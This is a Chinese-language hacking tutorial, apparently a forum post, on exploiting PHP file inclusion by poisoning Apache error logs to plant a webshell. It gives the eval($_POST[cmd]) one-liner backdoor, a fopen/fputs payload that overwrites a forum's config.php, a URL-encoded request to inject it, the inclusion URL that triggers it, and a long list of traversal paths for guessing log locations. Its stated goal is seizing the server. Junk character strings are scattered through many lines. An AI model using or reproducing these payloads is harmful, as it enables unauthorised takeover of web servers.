php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
; ]  E+ [  |" c* d<?eval($_POST[cmd]);?>   

# r3 O& P  Y. w+ Y& K! g3 H到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
+ V; E& u) @+ D1 X5 S! Sfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
! C1 ]' G0 n5 v5 x4 O/ e
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
: C/ k1 M) ?3 l( P' O
. v0 X  g' D$ I: X- m4 G我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
4 }. `- Z: O" b3 w转换为
* S0 H) T; h9 E2 s6 j' [% i%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
  I# e9 f- j1 D" ?0 N9 m. I6 U%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
% c: y: M* s2 B; M2 S我们提交
8 p# F7 u& w/ S6 d8 @http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
+ S# I6 q7 g4 ]+ d%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

7 J, N- U. h9 ]5 r7 Q) y' b这样就错误日志里就记录下了这行写入webshell的代码。
6 f( y4 m% o$ w  b  O我们再来包含日志，提交
/ a8 Z+ w; ^1 e) @1 |http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
9 q9 i7 i. ^3 ]* A
  r( Y% u; q. g4 G这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
: V8 |8 {. t( P4 e8 h直接用lanker的客户端一连，主机就是你的了。
7 y5 K/ V8 K) z5 q9 ]' `: G& U
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
$ K$ p+ F3 c' X3 }0 i# J( F../../../../../../../../../../var/log/httpd/access_log
/ P% y" H* d( `../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
( e* E1 B' n0 [+ T: _../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
8 j9 p- C9 s: ?7 H( h; E../../../../../../../../../../var/www/logs/access_log
: _, z  T6 a( a& @../../../../../../../../../../var/www/logs/access.log
9 |! n; l. N1 V  Y9 Z../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
& A6 d6 g. X% f1 j0 t( K4 Y9 h! Z../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
6 V5 q9 p4 y, s1 s6 D../../../../../../../../../../var/log/apache/error_log
2 D4 `3 u0 f9 G9 a% C../../../../../../../../../../var/log/apache/error.log
  w3 d5 m$ Z; S5 Y. g3 ?3 x3 Z$ \../../../../../../../../../../var/log/access_log
( ^) u( U, r" i1 l../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
' r3 P$ B/ l# z* V3 f/var/log/httpd/error_log     
../apache/logs/error.log     
: K/ q+ s0 m) t9 f9 |/ _/ B../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
0 u9 }$ N- _  M# z- Z1 x$ m../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
7 q5 g9 q0 x: h1 I- Z. A/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
6 |$ ?- J5 C( g7 y, T& O* {9 j/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
: e* E2 [  x% G6 u/usr/local/apache/logs/error.log
/var/log/apache/error_log
& L6 m) S# X2 o/ y. B/var/log/apache/error.log
5 n( r  d+ y* l3 ]( @/var/log/access_log
0 f) I9 s+ a- p) t( }* T/var/log/error_log